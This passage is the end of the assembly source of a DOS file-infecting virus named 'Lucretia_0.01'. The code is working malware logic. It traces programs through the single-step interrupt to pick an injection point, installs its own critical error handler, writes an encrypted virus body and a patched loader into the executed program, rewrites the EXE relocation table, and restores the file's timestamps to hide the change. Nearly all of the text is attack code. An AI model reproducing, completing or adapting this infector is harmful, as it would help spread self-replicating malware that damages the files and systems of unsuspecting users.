ds:[best_proc_pos+2],dx pop ds push ds mov di,offset code_buf mov cx,tmp_area_len+base_addr-main_entry rep movsb ;Copy procedure code to buffer search_16: pop ds pop bx pop cx pop si pop di jmp search_14 ;Continue the search ; Process EXE relocation table to find items that point to the selected region process_header: mov ds:[tmp_callback],ax mov si,offset relo_table xor bx,bx cmp ds:[exe_flag],bl je header_5 ;Exit if COM file mov cx,ds:[exe_header+6] header_1: lodsw lodsw push bx push dx mov dx,16 mul dx xor bl,bl add ax,[si-4] adc bl,dl pop dx sub ax,di sbb bl,dl ; Compare against min(maximal overlay loader length,procedure length) cmp bp,tmp_area_len+base_addr-main_entry jc header_2 cmp ax,tmp_area_len+base_addr-main_entry jmp short header_3 header_2: cmp ax,bp header_3: sbb bl,dh pop bx jae header_4 ;Outside the region cmp bx,(tmp_area_len-tmp_len) and -2 je header_fail ;Relocation buffer full mov [bx+relo_buf],ax ;Save to relocation buffer inc bx inc bx call ds:[tmp_callback] ;Call user callback procedure header_4: loop header_1 header_5: mov ds:[relo_len],bx ;Save relocation buffer length ret header_fail: xor bp,bp ret ; Prepare for attempting infection method #2 (COM files only) trap_setup: push di xor di,di mov es,di les bx,es:[di+4] call set_trap ;Save INT 01 vector push ds pop es xor ax,ax mov ds:[trap_last],ax ; Initialize CRC table crc_setup_1: push ax mov cx,8 crc_setup_2: shr ax,1 jnc crc_setup_3 xor ax,0a001h ;CRC polynomial crc_setup_3: loop crc_setup_2 stosw pop ax inc al jnz crc_setup_1 ; Initialize check sum map: file image is broken into 256-byte pages; a CRC-16 ; for each available page is stored, zero is stored for unavailable pages mov cl,byte ptr ds:[file_size+1] sub cl,7 ;Discard last 8 pages pop ds stosw ;Discard PSP mov si,100h push si push cx crc_file: ;CRC the whole code image and call crc_page ; store the values to the map stosw loop crc_file xchg ax,cx pop cx not cl ;Fill the map up to the end rep stosw ; with zeros pop bx trace_jumps: mov al,bh shl ax,1 mov di,offset checkmap_buf add di,ax xor ax,ax mov cl,8 ;Discard 2048 bytes (8 pages) rep stosw mov al,[bx] add bx,[bx+1] add bx,3 and al,0feh cmp al,0e8h ;Check for JMP or CALL at entry je trace_jumps ;Keep discarding if positive mov bh,3 push cs ;Point INT 01 (single step) to pop ds ; our handler and prepare for mov dx,trap_entry-base ; tracing mov ax,2501h dos: pushf push cs call dos_go ret seek_rel: mov dx,ds:[exe_header+18h] seek: mov ax,4200h jmp dos seek_eof: mov ax,4202h dos_z: xor cx,cx cwd jmp dos ; Perform a CRC-16 over a file page, using precomputed CRC table crc_page: call swap_ds_es push cx push di xor bh,bh xor dx,dx mov cl,80h crc_page_loop: lods word ptr es:[si] xor al,dl mov bl,al mov dl,dh mov dh,bh mov di,bx xor dx,[bx+di] xor ah,dl mov bl,ah mov dl,dh mov dh,bh mov di,bx xor dx,[bx+di] loop crc_page_loop pop di pop cx xchg ax,dx swap_ds_es: push ds push es pop ds pop es ret ; Control arrives here after each instruction of the user program being single ; stepped through trap_entry: call push_all les di,[bp+16h] mov cx,es ;Check if code segment mov ds,es:[53h] ; unchanged xor cx,ds:[psp_seg] jne trap_stop ;Exit if negative dec di dec di cmp es:[di],1cdh ;Check for INT 01 placed after jne trap_check ; a REP instruction cmp ds:[trap_last],di jne trap_check mov ax,ds:[trap_save] ;Restore the overwritten stosw ; instruction if positive, re- inc byte ptr [bp+1bh] ; enter single step mode, and sub word ptr [bp+16h],2 ; adjust the IP back jmp short trap_done trap_check: mov es,cx mov ax,es:[46ch] ;Check if more than half a sub ax,ds:[rand_seed] ; second has elapsed cmp ax,9 ja trap_cancel ;Exit if positive mov al,[bp+17h] shl ax,1 push ds pop es mov di,offset checkmap_buf add di,ax ;Consult the check sum map to cmp [di],cx ; find out if current page is je trap_rep ; available, exit if negative shr ax,1 xchg al,ah xchg si,ax lds ax,[bp+16h] add ax,loader_len+255 sub ax,si mov cl,ah push di crc_check: ;Check if pages that would be call crc_page ; occupied by the overlay scasw ; loader are unchanged loope crc_check pop di xchg ax,cx ;(marking current page as un- stosw ; available) jne trap_rep ;Exit if negative mov ax,[bp+16h] mov si,ax mov di,offset code_buf mov cx,loader_len rep movsb ;Copy selected code to buffer push es pop ds dec ah mov ds:[inject_pos],ax ;Save its position dec ds:[trap_count] ;Random value jnz trap_rep trap_cancel: call unhook_trap trap_stop: dec byte ptr [bp+1bh] ;Exit single step mode trap_done: call pop_all ;Exit to caller iret trap_rep: lds si,[bp+16h] xchg es:[trap_last],si ;Check if IP is the same as it cmp [bp+16h],si ; was at the previous step jne trap_done ;Exit if negative mov bx,si trap_rep_1: lodsb ;Check for REP(NZ) and al,0feh cmp al,0f2h je trap_rep_2 dec si trap_rep_2: lodsb ;Check for segment prefix and al,0e7h cmp al,26h je trap_rep_1 dec si lodsb and al,0feh cmp al,0aah ;Check for STOS je trap_rep_3 and al,0f4h cmp al,0a4h ;Check for MOVS/CMPS/LODS/SCAS jne trap_done trap_rep_3: xchg bx,si sub bx,si cmp bx,3 ja trap_done ;Too long add si,bx mov ax,1cdh ;Replace next instruction with xchg [si],ax ; INT 01 mov es:[trap_save],ax mov es:[trap_last],si jmp trap_stop ;Exit single step mode ; Restore INT 01 vector to its previous value, if still hooked unhook_trap: les bx,dword ptr ds:[trap_chain] mov ax,es or ax,bx jz unhook_done push ds xor di,di mov ds,di mov [di+4],bx mov [di+6],es pop ds zero_trap: xor bx,bx mov es,bx set_trap: mov ds:[trap_chain],bx mov ds:[trap_chain+2],es unhook_done: ret ; Control arrives here after termination of the user program to be infected; ; the actual infection is performed here terminate_entry: push ss pop ds call unhook_trap ;Unhook INT 01 if still hooked mov ax,ds:[inject_pos] or ax,ds:[inject_pos+2] jz unhook_done ;Exit if cannot infect mov al,7 int 29h ;Beep at file infection mov ax,3524h call dos push es push bx push cs pop ds mov dx,crit_err_entry-base mov ax,2524h ;Install own critical error push ax ; handler call dos push ss pop es mov si,main_entry-base mov di,offset loader_buf mov cx,loader_len ;Copy overlay loader to work rep movsb ; segment push ss pop ds mov dx,offset exec_name mov ax,3d01h call dos jc infect_fail xchg bx,ax mov ax,5700h ;Preserve file's date and time call dos push dx push cx call adj_relo call write ;Write originally overwirtten jc infect_done ; code at end of file push cx ; Patch position to load encrypted code from into overlay loader code mov ax,4201h call dos_z mov word ptr ds:[load_1_pos_lo+1-main_entry+loader_buf],ax mov word ptr ds:[load_1_pos_hi+1-main_entry+loader_buf],dx call encrypt_code ;Encrypt and write virus body pop cx jc infect_done push cx les dx,dword ptr ds:[inject_pos] mov cx,es call seek ;Seek to the position of pop cx ; selected region and write the mov dx,offset loader_buf ; patched overlay loader to it call write jc infect_done xor cx,cx cmp ds:[relo_len],cx je infect_done call seek_rel ;Seek to and rewrite relocation call calc_rel_size ; table of EXE file, if present call write infect_done: pop cx ;Restore file's date and time pop dx mov ax,5701h call dos call close_f infect_fail: pop ax pop dx pop ds call dos ;Restore critical error handler clc ret ; Critical error handler crit_err_entry: add sp,6 pop ax pop bx pop cx pop dx pop si pop di pop bp pop ds pop es stc retf 2 ; Prepare code to be overwritten for storing to end of file adj_relo: call seek_eof ; Patch position to load originally overwritten code from (current end of file) ; into overlay loader code mov word ptr ds:[load_0_pos_lo+1-main_entry+loader_buf],ax mov word ptr ds:[load_0_pos_hi+1-main_entry+loader_buf],dx ; Patch relocation buffer length and saved code length into overlay loader code mov ax,ds:[relo_len] mov word ptr ds:[load_0_rel_0+1-main_entry+loader_buf],ax mov word ptr ds:[load_0_rel_1+1-main_entry+loader_buf],ax add ax,loader_len mov word ptr ds:[load_0_read+1-main_entry+loader_buf],ax xchg dx,ax ; Patch first word of original code into overlay loader for checking mov ax,ds:[code_buf] mov word ptr ds:[load_0_check+2-main_entry+loader_buf],ax ; De-relocate code buffer for proper relocation at load time mov cx,ds:[relo_len] jcxz adj_relo_3 mov si,offset relo_buf adj_relo_1: lodsw cmp ax,dx jae adj_relo_2 add ax,offset code_buf xchg di,ax mov ax,ds:[psp_seg] add ax,10h sub [di],ax adj_relo_2: dec cx loop adj_relo_1 adj_relo_3: mov cx,dx mov dx,offset code_buf ret ; Encrypt and write virus body to file encrypt_code: mov si,offset rand_seed mov di,offset rand_key-main_entry+loader_buf movsw ;Copy random seed movsw mov cl,26 expand_seed: mov al,[di-4] ;Expand random seed xor al,[di-3] rol al,cl stosb loop expand_seed mov cl,12 push bx ; Shuffle the expanded seed a couple of times to make a (more) random key shuffle_seed: push cx mov si,offset rand_key-main_entry+loader_buf mov di,offset temp_key push si push di mov cl,16 push cs call simple_crypt_0 pop si pop di mov cl,15 rep movsw pop cx loop shuffle_seed xor di,di xchg ax,bx ; Store the shuffled encryption seed and patch half of it into loader for check mov word ptr ds:[load_1_check+1-main_entry+loader_buf],ax stosw xchg ax,bp stosw mov cx,offset ovl_len-4 mov si,di ; Copy virus body to work segment rep movs byte ptr es:[di],cs:[si] mov si,offset rand_key-main_entry+loader_buf xor di,di push cs call crypt_code ;Encrypt it with random key pop bx mov cx,offset ovl_len xor dx,dx write: mov ah,40h read: call dos jc write_done cmp ax,cx write_done: ret db 'Lucretia_0.01' ;Version string dw 0 ;Serial number code_end: ovl_len = ($-base+3)/4*4 ; This is the structure of work segment allocated at EXEC (all variables here) exec_data struc crc_table label word ;CRC table (512 bytes) checkmap_buf = crc_table+200h ;Check sum map (512 bytes) code_buf = checkmap_buf+200h ;Buffer for overwritten code encrypt_buf db ovl_len dup(?) ;Buffer to encrypt virus body ;(overlaps previous buffers) loader_buf db loader_len dup(?) ;Buffer for overlay loader relo_buf label word ;Overlay relocation buffer db tmp_area_len-tmp_len dup(?) evendata save_sp dw ? ;Saved SS:SP save_ss dw ? file_size dw ?,? ;User program file size exe_header dw 20h dup(?) ;User program EXE header exec_pb dw 11 dup(?) ;Saved EXEC parameter block exec_name db 80 dup(?) ;File name of EXEC'ed program open_name db 80 dup(?) ;File name of OPEN'ed program psp_seg dw ? ;PSP of user program trap_chain dw ?,? ;Saved INT 01 inject_pos dw ?,? ;Position in file to inject the ; overlay loader, 0 if none rand_seed dw ?,? ;Random seed, obtained from ; system timer temp_key dw 32 dup(?) ;Temporary encryption key relo_len dw ? ;Overlay reloc. buffer length load_len dw ? ;Code image load length best_proc_len dw ? ;Length of best match procedure best_proc_pos dw ?,? ;Position of best match ; procedure tmp_callback dw ? ;\ temporarily trap_last dw ? ; \ used proc_count label word ; > by trap_save dw ? ; / analyse_exe trap_count db ?,? ;/ and trap exe_flag db ? ;Flag if user program is EXE evendata exec_stack db 100h dup(?) ;Temporary stack for EXEC stack_top label word ;Top of temp stack relo_table label word ;EXE relocation table buffer ;(variable length) ends end code_start --- End LUCRETIA.FEM ---------------------------------------------------------- <<< end of file >>>